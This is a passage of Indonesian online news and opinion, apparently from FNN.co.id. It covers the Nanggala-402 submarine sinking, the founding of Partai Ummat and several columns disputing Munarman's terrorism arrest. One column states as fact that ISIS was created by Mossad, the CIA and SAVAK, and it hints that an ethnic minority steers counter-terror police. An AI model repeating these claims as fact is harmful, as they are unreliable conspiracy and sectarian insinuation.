apa yang namanya blackout. Apakah blackout itu. Ada beberapa macam penyebab. Tapi yang saya alami itu terjadi jam 12 malam. Blackout terjadi saat saya sedang istirahat. Di lantai 3, saya langsung lompat turun. Saat itu, posisinya adalah saat blackout itu haluan (depan) naik ke atas 45 derajat, sedangkan buritan turun. Saat itu tidak ada tegangan. Semua mati. Hanya lampu cadangan saja yang hidup. Posisinya adalah yang belakang (buritan) langsung turun. Sekitar 45 derajat. Tidak sampai dengan 10 detik, kapal turun sampai 90 m. Sehingga bisa membayangkan bagaimana posisi blackout saat itu. Padahal, kita Perioskop Dep. Sehingga Komandan Kapal (KKM) memerintahkan (dalam bahasa Jerman) Alleman Fouraust. Kita semuanya berangkat ke depan. Tapi karena 45 derajat ini, maka kita merangkak di lorong itu, pegang pintu-pintu itu sampai ke haluan depan. Itu perintah Komandan KKM Mashudi, SH, purnawirawan Laksda. Yang dilakukan KKM adalah menghembus tangki pemberat dan tangki tekanan. Sehingga kapalnya bergerak naik. Apa masalahnya, ada satu views yang putus, padahal kita tidak tahu views itu di mana. Tapi karena kecanggihan KKM saat itu, Laksda Purn Mashudi, itu bisa ketahuan dan langsung diperbaiki. Alhamdulillah. Itulah situasinya kalau blackout itu masuk ke dalam. Nah, saat ini, kalau kita kena internal wafe, maka itulah keadaan alam. Keadaan alam itu kalau sudah terbawa oleh arus, itu langsung turun. Kalau sudah begitu, tidak akan bisa atau ada yang mampu untuk menyelamatkan kapal. Ingat, dayanya adalah 2-4 juta m3. Mampukah untuk melawan itu. Mampukah? Kalau sudah begitu, bagaimana posisi personil kita, apakah masih pada posisinya masing-masing? Ingat, ketika itu mereka masih terjaga semua. Jam 3.30 mereka masih di pos tempur masing-masing. Karena kapalnya masih posisi menyelam persiapan penembakan, belum menembak. Jadi, masih di posisinya masing-masing. Ada yang masih di pos terpedo. Ada yang di posisi kemudinya, ada juga yang di posisi ruang mesin. Kalau dia sudah bergerak menukik, bagaimana posisi personilnya, mereka glundung semua. Semuanya pasti akan terbawa ke haluan (depan). Kalau sudah begitu, tidak akan kuat untuk menahan tabung tekan. Tidak akan kuat menahan internal wave ini. Itulah kondisi dan gambaran bagaimana posisi Nanggala saat itu. Ingat, kalau 800 m itu tidak sampai dengan 1 menit kapal selam turun ke bawah. Kedalaman internal wave ini adalah sekitar 180-an m. Kalau sudah seperti ini, tidak ada tegangan tinggi, tidak ada tegangan untuk menjalankan kapal, maka dia akan terus turun ke bawah. Sehingga bisa dibayangkan bagaimana kondisinya saat itu. Menurut Prof. Daniel M. Rosyid PhD, M.RINA, Guru Besar Fakultas Teknologi Kelautan ITS Surabaya, Internal wave adalah olakan air di kedalaman tertentu yang terjadi karena arus laut Indonesia (Arlindo) yang kuat (debit 2-4 juta m3/detik) berinteraksi dengan balikan air akibat adanya irregularities pada profil dasar laut dan sekitarnya. Pelbagai asumsi seperti itu mungkin masih akan ditemui dalam beberapa hari mendatang. Sejumlah pakar akan terus urun rembug ihwal karamnya Nanggala-402. Namun, apa yang sebenarnya terjadi? Publik harus selekasnya mengetahui. Mengingat, Nanggala-402 dibeli dari uang rakyat! *** Penulis wartawan senior FNN.co.id

Sebanyak 99 Pendiri Deklarasikan Partai Ummat

Dalam politik, kata Agung, integritas dan kapabiliitas saja tidak cukup. “Namun lebih dari itu, loyalitas kepada partai juga sangat penting. Insya Allah semua kriteria di atas sudah ada pada Mas Ridho. Oleh Tjahya Gunawan Jogjakarta, FNN – SEBANYAK 99 orang pendiri Partai Ummat dari 34 provinsi berkumpul di Yogyakarta mendeklarasikan partai baru yang diinisiasi oleh tokoh reformasi Amien Rais. Sebelum deklarasi, para pendiri menandatangani dokumen pendirian partai di hadapan notaris dan melakukan konsolidasi awal dalam rangka memperkuat jaringan keummatan di seluruh pelosok tanah air. Jaringan keummatan Partai Ummat tidak melulu bersifat politis, tetapi juga melibatkan aspek-aspek ekonomi, sosial dan budaya yang memungkinkan semua elemen bangsa, khususnya kaum Muslimin, merasa memiliki partai baru ini. Ketua Majelis Syuro Partai Ummat Amien Rais membacakan deklarasi di hadapan para pendiri yang ditayangkan melalui akun Youtube Amien Rais Official tepat pukul 13.00, Kamis, 29 April 2021, bertepatan dengan 17 Ramadhan 1422 Hijriyah. “Bismillahirrahmanirrahim, saya deklarasikan kelahiran Partai Ummat di persada bumi pertiwi Indonesia yang kita cintai bersama,” kata Amien Rais dengan suara mantap. Deklarasi berbunyi : “Kami Partai Ummat bersama anak bangsa lainnya insyaAllah akan bekerja, berjuang, dan berkorban apa saja untuk melawan kezaliman dan menegakkan keadilan." “Kami sadar bahwa menggerakkan Al-Amru Bil Ma’ruf Wannahyu Anil Munkar yakni memerintahkan tegaknya kebajikan dan memberantas keburukan serta memobilisasi Al-Amru Bil Adli Wannahyu Anil Dzulmi yakni menegakkan keadilan dan melawan kezaliman memerlukan kesabaran, ketekunan, dan ketangguhan." “Kami abdikan seluruh shalat kami, seluruh ibadah kami, kehidupan kami, dan kematian kami, kami persembahkan hanya untuk Allah, Tuhan Seru Sekalian Alam. Inna sholati wa nusuki wa mahyaya wa mamati lillahi rabbil alamiin." “Kami yakin seluruh mekanisme demokrasi kita dan konstitusi kita lebih dari cukup untuk melakukan perbaikan kehidupan nasional, sehingga kita tidak perlu cara-cara ekstra parlementer dan cara-cara ekstra konstitusional.” Deklarasi ditutup Amien Rais dengan takbir tiga kali dan pekik merdeka. Malam harinya pada pukul 20.30 pada hari yang sama film “Harapan Ummat” diyangkan untuk pertama kalinya pada akun Youtube Amien Rais Official. Film ini bercerita mengenai perjuangan melawan kezaliman dan menegakkan keadilan yang diharapkan dapat memantik ghirah umat Islam dalam berjuang. Keesokan harinya, yaitu pada Jumat, 30 April, video deklarasi dari 34 provinsi ditayangkan untuk pertama kalinya pada akun Youtube Partai Ummat Official. “Yang mengharukan dari acara deklarasi dari daerah ini adalah para kader partai urunan untuk membiayai acara mereka masing-masing. Mereka bantingan untuk bikin spanduk, seragam partai, kaos, sampai makanan untuk buka puasa,” kata Wakil Ketua Partai Ummat Agung Mozin. Agung Mozin menambahkan bahwa Partai Ummat mempunyai masa depan di tengah kondisi politik yang tidak menentu saat ini. Ia mengutip hasil survei terakhir yang menunjukkan bahwa tingkat elektabilitas Partai Ummat sudah mencapai 1,5 persen padahal belum dideklarasikan. Padahal, kata Agung, sejumlah partai lama hanya mencapai tingkat elektabilitas dalam hitungan nol koma. Pengakuan Agung bukan tanpa alasan karena sekitar sebulan terakhir media sosial diramaikan dengan kemunculan Partai Ummat. Media sosial depenuhi oleh logo Partai Ummat, artikel analisis, dan pernyataan dukungan dari sebagian kaum Muslimin. Pengurus Partai Kepengurusan Partai Ummat terdiri dari dua bagian yaitu Majelis Syuro dan Dewan Eksekutif. Majelis Syuro menunjuk Dewan Eksekutif atau pelaksana partai untuk menjalankan kebijakan partai. Ketua Majelis Syuro dipegang oleh Amien Rais sendiri dengan sekretaris Ustad Sambo, sementara Ketua Umum dipegang oleh ahli teknologi informasi Ridho Rahmadi yang mendapatkan gelar PhD-nya dari Radboud University, Belanda. Ketua Umum dibantu oleh tiga orang Wakil Ketua yaitu Agung Mozin, Sugeng, dan Chandra Tirta Wijaya. Ketiganya adalah politisi senior yang sudah sangat berpengalaman mengelola partai. Sekretaris Umum Partai Ummat diamanahkan kepada Ahmad Muhajir yang juga politisi senior. Pada satu pertemuan di Hotel Grand Keisha Yogyakarta, Ridho sangat terharu atas penunjukan dirinya sebagai Ketua Umum Partai Ummat. Karena karirnya selama ini ia fokuskan untuk berkhidmat dalam bidang teknologi informasi. “Tetapi pangggilan mulia untuk berjuang melawan kezaliman dan menegakkan keadilan ini tidak bisa saya tolak,“ kata Ridho. Ridho mendapatkan dua gelar master dalam bidang artificial intelligence (kecerdasan buatan) dari Czech Technical University di Praha, Republik Ceko dan Johannes Kepler University di Austria. Setelah menyelesaikan PhD-nya di Belanda, Ridho sempat menjadi peneliti tamu di Carnegie Mellon University, AS. Ridho aktif mengajar di Universitas Islam Indonesia Yogyakarta sebelum bergabung dengan Partai Ummat. Namun sekarang dia mengundurkan diri untuk memenuhi peraturan yang berlaku. Wakil Ketua Partai Ummat Agung Mozin mengatakan ditunjuknya ahli teknologi informasi Ridho Rahmadi adalah keputusan Majelis Syuro yang sangat tepat karena partai politik sekarang memerlukan kepakaran dalam bidang ini untuk bisa bersaing dengan partai lain. “Kita harapkan Mas Ridho membuatkan kita beberapa aplikasi yang berguna untuk pemenangan Partai Ummat,“ kata Agung. Tidak cuma itu, Agung menambahkan, usia Ridho yang masih milenial merupakan daya tarik tersendiri yang menjadi pertimbangan. “Insya Allah Mas Ridho akan mampu menggaet sesama milenial untuk masuk Partai Ummat. Mereka mempunyai aspirasi, keinginan dan cita-cita yang sama. Mas Ridho sangat pas,“ kata Agung. Dalam politik, kata Agung, integritas dan kapabiliitas saja tidak cukup. “Namun lebih dari itu, loyalitas kepada partai juga sangat penting. Insya Allah semua kriteria di atas sudah ada pada Mas Ridho.” Tokoh Bergabung Di tengah tingginya animo masyarakat dengan kemunculan Partai Ummat, sejumlah tokoh sudah menyatakan diri bergabung dengan partai baru ini. Di antaranya adalah artis Neno Warisman yang selama ini dikenal sebagai aktivis yang banyak memiliki jaringan di seluruh tanah air. Di samping Neno, ada juga MS Kaban, mantan Menteri Kehutanan dan salah satu Ketua Partai Bulan Bintang, dan Buni Yani, korban UU ITE yang mengalami penzaliman dengan tuduhan dan vonis hukum yang tidak dia perbuat. “Partai Ummat adalah harapan saya yang terakhir untuk memperjuangkan dan mendapatkan keadilan,” kata Buni Yani. Wakil Ketua Partai Ummat Agung Mozin sangat optimis bahwa akan semakin banyak tokoh Islam yang bergabung dengan partainya. Agung mengatakan dia sedang menjajaki untuk bersilaturahmi dengan banyak kalangan. “Insya Allah Partai Ummat akan bisa menampung aspirasi saudara-sadara kita ini,“ pungkas Agung. ** Penulis, wartawan Senior FNN.co.id.

Wuiiish Munarman Ditangkap, Kriminalisasi?

by M. Rizal Fadillah Bandung FNN - Penangkapan terhadap mantan Sekretaris Jendral dan Juru Bicara Frot Pembela Islam (FPI) Munarman yang dikaitkan dengan terorisme, dan itu terjadi tahun 2015, adalah aneh. Orang dengan mudah nyeletuk mestinya tangkap tahun itu kan ada bukti acara FPI Makassar dan lainnya. Munarman juga berulang melakukan klarifikasi soal acara tersebut. Persoalan sebenarnya adalah bahwa keperluan untuk melakukan penangkapan itu memang saat ini. Bukan tahun 2015 lalu itu. Apalagi di tengah kasus Habib Rizieq Sihab (HRS) yang dalam proses persidangan di Pengadilan Negeri Jakarta Timur, dimana Munarman menjadi salah satu pembelanya. HRS, FPI, dan Munarman adalah target politik perlu dilumpuhkan dengan perangkat hukum. Salah atau benar berdasarkan hukum, itu urusannya nanti. Pasalnya nanti bisa dicari-cari belakangan. Yang paling panting itu adalah tangkap, dan selanjutnya ditetapkan menjadi tersangka saja dulu. Sebab ini bukan ansih urusan hukum, yang dasar rujukannya adalah benar atau salah menurut. Ini berkaitan dengan urusan politik. Politik itu tidak menganal salah atau benar. Lumpuhkan dulu lawan politik. Begitu kekuasaan politik punya keinginan. Akibat dari kekuasaan yang salah dalam mengelola negara. Kewengan publik dikelola dengan cara-cara yang amtiran dan kampungan. Akibatnya kekuaaan yang kepusingan ketika berhadapan dengan sikap kritis dari orang-orang seperto HRS, Munarman, Syaganda Nainggolan, Jumhur Hidayat dan Anton Permana, Gus Nur dan lain-lain. Penangkapan Munarman oleh Densus 88 menimbulkan pro dan kontra. Fadli Zon menyebut mengada-ada. Haris Rusly Moti, mantan Presiden PRD yang mengenal dengan Munarman mengatakan sangat berlebihan kalau dituduh teroris. Menyeret secara tidak berkemanusiaan dari rumah kediamannya dinilai melanggar Hak Asasi manusi (HAM) karena untuk memakai sandal saja tak diberi kesempatan. Sebagai advokat, tentu perlakuan polisi ketika menangkap seperti itu di luar batas kepatutan. Advokat yang semestinya diperlakukan dengan hormat. Melalui proses pemanggilan hukum tentu Munarman akan datang memenuhi. Sebagai mantan Ketua Lembaga Bantuan Hukum (LBH) Jakarta, Munarman bukan tipikil anak bangsa yang melanggar hukum. Kalau melawan kezoliman dan perlakuan tidak adil, otoriter punguasa, Munarman paling depan. Jika kriminalisasi menjadi target, makan apapun bisa dilakukan penguasa. Asas praduga tak bersalah sangat mudah diabaikan. Barang bukti dapat diolah, bubuk deterjen pembersih toilet di markas Petamburan bisa menjadi narkoba atau bahan peledak. Untuk meledakkan para cecunguk atau tikus. Buku do'a, kumpulan hadits dapat dituduh menjadi panduan untuk mati syahid. Dengan tuduhan terorisme maka semua prosedur hukum dapat dilewati. Sejak jaman Adnan Buyung Nasution dahulu Munarman sudah menjadi advokat di LBH. Munarman sangat gigih membela klien korban pelanggaran HAM. Pembelaan dalam kasus HRS menunjukkan kualitasnya yang faham hukum, cerdas, dan berani. Wajar jika Munarman selalu menjadi subyek dan obyek berita media massa maintsream, baik dalam maupun luar negeri. Ketika kini dikaitkan keterlibatan dengan terorisme yang jelas melanggar hukum, maka tentu jauh dari karakter dan kapasitas Munarman yang selama ini dikenal masyarakat. Publik dipastikan tidak akan percaya dengan tuduhan yang dialamatkan Densus 88 Polri kepada Munarman. Apalagi Munarman terkenal memiliki prinsip kehati-hatian hukum yang tinggi dalam rangka penegakkan hukum. Ya proses politik sedang berjalan HRS, FPI, dan Munarman memang menjadi target. Dari kacamata ini kita dapat melihatnya, sebab jika konteksnya penegakkan hukum dan keadilan, maka peristiwa HRS, FPI, dan Munarman tentu tidak akan terjadi. Menjadi pertanyaan umum di kalangan publik, kita ini sedang menjalankan prinsip negara hukum atau negara kekuasaan? Jika yang kedua, yaitu negara kekuasaan, maka kriminalisasi bisa saja menjadi hal yang lumrah dan biasa-biasa saja untuk rezim atau penguasa. Hanya masalahnya apakah masyarakat, rakyat, dan umat haruskah pasrah untuk berada dibawah bendera negara kekuasaan? Jangan menjaawabnya sekarang. Nanti saja. Simpan saja dulu jawabannya. Pertanyaan, sudah tidak ada lagikah pejuang kebenaran dari kalangan ulama, cendekiawan, politisi, pengacara, TNI-Polri, mahasiswa, buruh dan elemen strategis lainnya? Tentu masih banyak aktivis perjuangan yang memiliki kepedulian. Kasus Munarman yang juga diyakini bukanlah teroris, namun kepentingan politik begitu mudah mengaitkan dengan terorisme. Kasus Munarman ini perlu dikawal proses hukum yang dijalankan. Semoga asas praduga tak bersalah tidak disimpan Densus 88 Polri di tong sampah, sehingga tetap diberlakukan. Polisi hanya institusi penegak hukum. Bukan lembaga yang benar menurut hukum. Pengadilan saja masih diragukan putusannya kalau tunduk pada tekanan kekuasaan. Apalagi Cuma polisi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Penangkapan Munarman di Live Televisi, Mau Cuci Tangan KM 50?

by Tarmidzi Yusuf Bandaung FNN - Kemarin sore (27/4) Munarman, mantan Sekretaris Umum Front Pembela Islam (FPI) ditangkap Densus 88 Polri. Munarman ditangkap di rumahnya, Perumahan Modern Hills Pamulang Tangerang Selatan. Terlihat seperti mengerikan dan menakutkan. Munarman baru terduga. Belum pernah diperiksa. Apa alasan Polisi memperlakukan Munarman seperti itu? Tak berselang lama dari penangkapan Munarman. Markaz FPI di Petamburan Jakarta digeledah oleh Densus 88 Polri. Katanya ditemukan bahan peledak. Sudah diduga juga arahnya mau kemana. Lebih mengerikan lagi. Saat tiba di Polda Metro Jaya, tangan Munarman diborgol dan mata ditutup kain hitam. Seru seperti di film G 30 S/PKI. Jangankan teroris, penjahat aja bukan. Penangkapan Munarman disiarkan secara Live di sebuah stasiun televisi. Menjelang berbuka lagi. Biasanya banyak yang di depan televisi. Ini bentuk framing dan stigmatisasi dari penguasa. Tontonan di bulan Ramadhan yang sangat menyakiti ummat Islam. Ada apa dibalik ini? Bukankah ini hanya akal-akaln untuk pengalihan dari masalah yang sebenarnya? Apa itu masalahnya sebenarnya? Upaya “cuci tangan” pembantaian dan pembunuhan terhadap enam anggota laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek) yang Tempat Kejadian Perkara (TKP) sudah diratakan dengan tanah itu? Terorisasi FPI dan Islam. Tujuannya adalah agar dugaan keterlibatan seorang jenderal dan kelompok sekuler kiri radikal dalam kejahatan di kilimeter 50 tol Japek tidak bisa dituntut dan diungkap? Apakah Munarman itu teroris? Apakah ada bukti? Atau hanya berdasarkan pengakuan dari seorang mantan anggota FPI yang sudah digarap, lalu dikait-kaitkan dengan bom Makassar Maret 2021 lalu? Katanya karena itu-ikutan baiat dengan ISIS. Padahal bukankah ISIS itu organisasi teror buatan MOSSAD, CIA dan SAVAK? Alasan yang kurang logis. Mengapa Densus 88 hanya bisanya menangkap Munarman doang yang dituduh sebagai teroris itu? Sementara OPM yang telah membunuh Kepala Badan Intelijen Daerah (Kabinda) Papua, Brigjen IGP Danny, Densus 88 tidak turun tangan. Densus lagi dimana saja ya? Apakah ada bukti otentik kalau Munarman dan FPI pernah melakukan teror? Berapa orang yang mati terbunuh akibat tindakan teror yang dilakukan oleh Munarman dan FPI? Boleh dong publik ingin mengetahui. Asal datanya valid saja. Agar tidak ada dusta diatas dusta. Mengapa Densus 88 tidak turun tangan menghadapi OPM yang jelas-jelas ingin memisahkan diri dari NKRI? Bahkan Mabes Polri seperti dilansir CNN Indonesia (27/4), menolak menyebut Kelompok Kriminal Bersenjata (KKB) Papua sebagai Kelompok Separatis dan Teroris (KST). Wajar bila ummat Islam curiga. Karena ada standar ganda? Keras terhadap ummat Islam. Lembek ke non Islam. Padahal, apakah itu OPM, KKB atau KST itu maunya merdeka lagi bro Densus 88 Polri. Omong kosong dengan NKRI harga mati yang disuarakan oleh agama tertentu dan etnis minoritas radikal. Apakah belum cukup bukti pembunuhan dan tindakan kekerasan yang dilakukan berulang kali oleh OPM, KKB dan KST? Kepala BIN Papua Brigjen IGP Danny tewas terbunuh oleh OPM. Kenapa yang ditangkap hanya Munarman? Bukan OPM, KKB KSN yang ditangkap Densus 88 Polri? Publik berhak mendapat penjelasan yang masuk akal. Bukan penjelasan pembenaran. Ada apa dengan Densus 88? Apakah betul Densus 88 dibentuk targetnya hanya Islam dan ummat Islam? Masih ingat terorisasi terhadap Ustadz Abu Bakar Ba'asyir beberapa tahun silam. Ummat Islam percaya? Tidak bro. Desas-desus siapa dibelakang Densus 88 ramai diperbincangkan di media sosial. Menyebut tokoh dari etnis minoritas tertentu dan kelompok sekuler kiri radikal. Ummat Islam patut saja curiga. Pasalnya, yang nyata-nyata gerakan separatis dan teroris seperti OPM/KKB Papua tidak diapa-apain. Apakah karena OPM, KKB dan KSN itu mayoritas beragama non muslim? Sehingga Densus 88 Polisi tidak bergerak kesana? Padahal sudah banyak yang dibunuh OMPM, KKB dan KSN itu. Misalnya membunuh anggota TNI, Polri dan warga masyarakat termasuk Brigjen IGK Danny. Pnulis adalah Pegiat Da’wah dan Sosial.

Munarman Teroris? Densus 88 Polri Gaweannya Lucu Amat Sih!

Sejak menjadi aktivis di akhir 1980-an, Munarman sudah bercita-cita untuk memisahkan Polisi dari ABRI jika kekuasaan Soeharto berakhir kelak. Kini Munarman mau dituduh teroris? Ya pastinya mayoritas aktivis ‘98 yang mengenalnya puluhan tahun, tidak mau percaya degan geweannya Densus 88 Polri yang lucu-lucuan itu. Namun kalau Polisi menuduh Munarwan sukanya melawan kekuasaan yang zolim, tidak adil, semena-mena dan otoriter, korupsi dana bansos dan uangnya kaum difabel, antek aseng dan asing Bejing, itu mungkin ada benarnya. Karena itulah yang dikenal dari seorang pejuang demokrasi yang bernama Munarman. by Bambang Tjuk Winarno Madiun FNN – Ade pameo di polisi, kalau "teman satu angkatan atau teman seperjuangan saja bisa dikorbankan, apalagi orang lain". Pamoe ini sekarang terbukti pada diri Munarman, yang sejak menjadi aktivis di akhir 1980-an sudah bercita-cita untuk memisahkan Polisi dari ABRI. Namun sekarang Munarman ditahan Polisi dengan tuduhan yang dibuat-buat, karena kejadiannya sejak tahun 2015 lalu. Yang terjadi pada Munarman ini, bukan lagi seperti kacang yang lupa sama kulitnya. Tetapi seperti kacang lupa sama tanah yang pernah menyuburkan dan membesarkan pohon kacang. Kejadian ini juga menjadi pelajaran berharga untuk para aktivis muda lainnya, agar belajar dari kasus Munarman. Jangan sampai menyesal di belakangan tidak ada gunanya. Masyarakat sama sekali tidak terkejut ketika Selasa sore (27/04/2021), menyaksikan dan membaca berita berbasis satelit, Munarman ditangkap oleh Densus 88 Polri. Munarman ditangkap di kediamannya, Blog G Klaster Lembah Pinus, Perumahan Modern Hills, Pamulang, Tangerang Selatan. Perlakuan polisi terhadap Munarman ketika ditangkap juga sangat buruk dan tidak manusiawi. Tuduhan utama polisi terkait penangkapan mantan Sekretaris Jendral eks Front Pembela Islam (FPI), yang sekarang ini tengah mati-matian memperjuangkan kepentingan hukum Habib Rizieq Shihab (HRS) di Pengadilan Negeri Jakarta Timur tersebut, adalah terkait baiat di UIN Jakarta, Makassar dan Medan beberapa waktu lalu. Munarman yang nampak tidak takut itu, lalu dibawa masuk ke mobil putih dan meluncur ke Mapolda Metro Jaya. Tuduhan Munarman terkait teroris itu disampaikan oleh Kabagpenum Divisi Humas Polri, Kombes Ahmad Ramadhan. "Jadi (penangkapan) terkait dengan kasus baiat di UIN Jakarta, kemudian juga kasus baiat di Makassar, dan mengikuti baiat di Medan. Jadi ada tiga hal tersebut," kata Ramadhan pada wartawan. (Kompas.com, 27/4/2021). Yang paling nyata disini, ayah tiga putra kelahiran Palembang, Sumatera Selatan, 53 tahun silam, itu bukan sosok bajingan atau pengkhianat Merah Putih yang akan menjual NKRI ke negara lain. Dia bukan anak PKI, dan dia sendiri juga bukan penganut paham komunis. Bukan koruptor bansos dan difabel, Juwasraya, Asabri serta BPJS Ketenagakerjaan. Bukan bandar atau penyebar narkoba. Bukan teroris. Munarman bukan pelaku yang menguras habis uang negara. Dia tidak turut campur dalam merancang UU Omnibus Law. Bukan pula perancang tergerusnya Pancasila menjadi Trisila atau Ekasila. Bukan perancang hilangnya pelajaran Agama Islam dan Bahasa Indonesia bagi anak didik sekolah. Munarman bukan sosok yang membuang pendiri NU, Hasyim Ashari, dari literasi sejarah. Yang kita kenal, Munarman adalah oposan negara yang setiap saat merobek robek ketidak adilan rezim Jokowi (panggilan Presiden Joko Widodo). Munarman sebagaimana rekan seperjuangannya, Syahganda Nainggolan, Jumhur Hidayat dan Anton Permana yang lebih dulu berurusan hukum, memperjuangkan ketidak adilan dibidang hukum, ekonomi, politik maupun ketimpangan rezim lainnya. Munarman bergerak dalam basis akidah Islam yang kental, kuat dan mendasar. Ibarat jet tempur F-16 Fighting Falcon, Munarman meluncur secara Fly by Wire dengan kendali Sang Khaliq di Singgasana Arasy. Karenanya, Munarman babar blas tidak ragu. Apalagi gentar tentang apa yang dia perjuangkan. Sebagai pejuang demokrasi dan kemanusiaan, Munarman tentu tidak gagal paham tentang resiko yang akan dialaminya. Secara fighter view, penjara akan diterjemahkan sebagai anugerah tanda jasa luar biasa. Atau ibarat sakera dari Madura. Penjara akan dipandang sebagai tempat mengasah celuritnya. Hingga semakin tajam dan mematikan musuh-musuhnya, kelak jika keluar penjara. Jangan mengaku pemain bola, jika belum punya bekas luka jatuh akibat tackling lawan. Atau jangan mengaku pengganti Valentino Rossi dan Dani Pedrosa di Motor GP, jika belum pernah patah tulang akibat tersungkur saat meluncur sentrifugal di lintasan kelok. Itu semua hal biasa saja untuk seorang Munarman, yang sudah pernah ditahan di Polda Metro Jaya. Itu sekedar contoh tentang nilai-nilai perjuangan Munarman. Perjuangan yang tidak mungkin dicapai hanya dengan melakukan korupsi. Atau menjual bangsa dan negara dengan memburu rente Vaksin Sinovac. Munarman tidak menjual bangsa dengan hanya dengan berpura-pura kerja sama investasi. Atau malah menuduh para pejuang kebenaran, sebagai biang keladi kerusuhan. Tidak seperti itu. Munarman menyuruh anak buahnya dari FPI berada di garda terdepan setiap kali bencana alam terjadi. Pada hari pertama ,ketika institusi negara belum hadir di setiap bencana alam, anak buah Munarman dari FPI sudah berada di lokasi benacana. Wajar saja kalau media internasional kelas Washinton Post, New York Times mengganjal FPI sebagai organisasi paling manusiawi dalam setiap bencana alam. Bicara penjara dan pejuang, maka hampir semua pahlawan nasional pejuang revolusi dan kemerdekaan NKRI pernah mengenyam indahnya jeruji besi. Keluar masuk penjara tak membuat mereka kapok untuk melawan penjajah dan kekuasaan yang zolim. Bahkan, mungkin malah dianggapnya keluar masuk rumah makan saja. Karena melawan kekuasaan yang zolim pasti mengantarkan mereka ke syurga. Itu pasti. Tidak ada keraguan. Sebut saja Pangeran Diponegoro, Imam Bonjol, Bung Karno, Mohamad Hatta, Cut Nyak Dien, Sultan Hasanudin, Sultan Nuku, Kapitan Pattimura, serta sejumlah pahlawan lainnya yang turut mendirikan negeri ini. Posisi mereka tak ubahnya Munarman, HRS, Sobri Lubis Syahganda Nainggolan, Jumhur Hidayat, Anton Permana dan para pejuang masa kini lainnya. Mereka pilih keluar dari zona-zona nyaman. Para pejuang dan pahlawan terdahulu musuh utamanya penjajah. Mereka bukan saja dipenjara, melainkan juga disiksa, bahkan dibuang ke pulau terpencil atau luar negeri. Harta-benda, bahkan nyawa mereka dipertaruhkan. Yang mereka tidak pertaruhkan hanyalah kebenaran dan akidah. Sekarang tugasnya berteriak melawan kekuasaan yang zolim dan tidak adil. Kekuaksaan yang semena-mena dan otoriter. Tak terperikan perjuangan mereka. Namun, Bung Karno masih mengakui kalau berat perjuangannya masih belum seberapa, jika dibandingkan perjuangan para pahlawan sesudahnya kelak. Kata Bung Karno, “perjuanganku tidak seberapa, sebab musuhku jelas Belanda. Sedangkan musuhmu nanti adalah bangsamu sendiri. Maksud Bung Karno kura kira "merepotkan". Dibilang musuh itu, kawan. Tetapi dibilang kawan, ternyata (mohon maaf, karena bulan puasa) bangsat. Ternyata benar apa yang "ramalkan" Bung Karno. Sekarang sudah terbukti. Munarman, HRS, Sobri Lubis, Syahganda Nasinggolan, Jumhur Hidayat, Anton Permana dan sahabat senasib seperjuangannya, kini berhadapan dengan musuh yang tak lain adalah bangsanya sendiri. Munarman sejak menjadi aktivis akhir 1980-an, selalu bersikap melawan rezim zolim dan otoriter Soeharto. Rezim yang menjadikan polisi sebagai alat kekuasaan untuk memenjarakan para aktivis demokrasi. Sikap Munarman itu tidak pernah bergeser sampai sekarang. Keputusannya menerima jabatan KetuaYayasan Lebaga Bantuan Hukum Indonesia (YLBHI) dan Katua Kontras, dua LSM Menteng yang menjadi salah satu musuh utamnyanya kekuasaan Soeharto adalah pilihan melawan kekuasaan zalim, otoriter, dan tidak adil. Ketika Munarman bercita-cita untuk memishkan Polisi dari ABRI di tahun akhir tahun 1980-an dan saat menjabat Ketua YLBHI dan Ketua Kontras dulu, yang hari ini menjadi pemimpin Polisi belum menjadi anggota Polisi. Sebagian besar masih menjadi siswa taruna polisi di Magelang dan Akpol Semarang. Masih berjuang untuk menjadi anggota polisi. Namun Munarman sudah berjuang melawan kekuasaan yang menjadikan Polisi sebagai alat politik untuk memukul lawan-lawan politik Soeharto. Ingat itu petuah orang tua-tua kampong, "jangan seperti kacang yang lupa kulitnya". Selain sebagai Ketua YLBHI dan Ketua Kontras, Munarman juga mantan aktivis Pelajar Islam Indonesia (PPI) dan Himpunan Mahasiswa islam (HMI). Para aktivis '98 yang kenal dengan Munarman sejak akhir tahun 1980-an dan awal 1990-an seperti Fadli Zon, Haris Rusli Moti, Agus Prijono Jabo, Yusuf Lakaseng, Ray Rangkuti, Fahri Hmazah, Muhammad Naufal Donggio, Eggi Sudjana, Syahganda Nainggolan, Jumhur Hidayat, Adi Arief, Bursah Zarnubi, Rama Pratama, Iwan Somule, Adam Wahab, Ahmad Muzani, Adrianto, Ahmad Yani, pastinya tidak akan percaya kalau Munarman terpapar paham teroris. Begitu juga dengan almarhum Bang Buyung Nasution dan almarhum Bang Mulyana W. Kusumu, mungkin saja akan menjadi saksi di pengadilan akhirat kalau Munarman pasti tidak terpapar teroris. Karena yang menjagokan Munarman menjadi Ketua YLBHI adalah Bang Buyung Nasution dan Bang Mulyana W. Kusuma. Hampir dipastikan kali ini Densus 88 Polri keliru besar. Hanya karena khawatir kemungkinan Munarman yang menjadi Ketua Tim Pembela HRS, bakal menangkis semua alibi Polisi dan Jaksa di persidangan. Selain itu, hawatir juga Munarman bakal membongkar keterlibatan intitusi negara di luar Kepolisian yang diduga terlibat dalam pembunuhan enam anggota laskar FPI di kilometer 50 tol Jakarta-Cikampek (Japek). Sebab kalau hanya soal dugaan keterlibatan teroris (baiat) yang terjadi tahun 2015 dulu, masa sih mantan Kapolri Prof. Dr. Tito Karnavian PhD tidak tau? Ingat, Pak Tito itu orang hebat di Densus 88 lho, selain Pak Gories Mere. Apalagi Munarman sering berkomunikasi dengan Pak Tito, karena punya hubungan baik. Sama-sama Wong Kitogalo dan sekolah di SMA yang sama. Kalau Munarman itu terpapar paham teroris, tidak mungkin Pak Tito yang sekarang Menteri Dalam Negeri (Mendagri) dan menjadi salah satu kandidat potensial untuk Calon Presiden 2024 nanti itu tidak tau. Sebab bisa jadi dugaan tindak pidana yang kemukinan polisi lain tidak tau, Pak Tito pasti tau. Sedangkan yang Pak Tito tau, belum tentu polisi lain tau. Ingat, Pak Tito itu polisi hebat, polisi pintar, polisi cerdas. Polisi yang top markotp. Makanya Densus 88 Polri sebaiknya jangan sampai anggap reme Pak Tito, kalau sampai menuduh Munarman terpapar teroris. Itu kurang baik, bahkan kurang ajar. Penulis adalah Wartawan FNN.co.id

Selamat Datang Partai Ummat

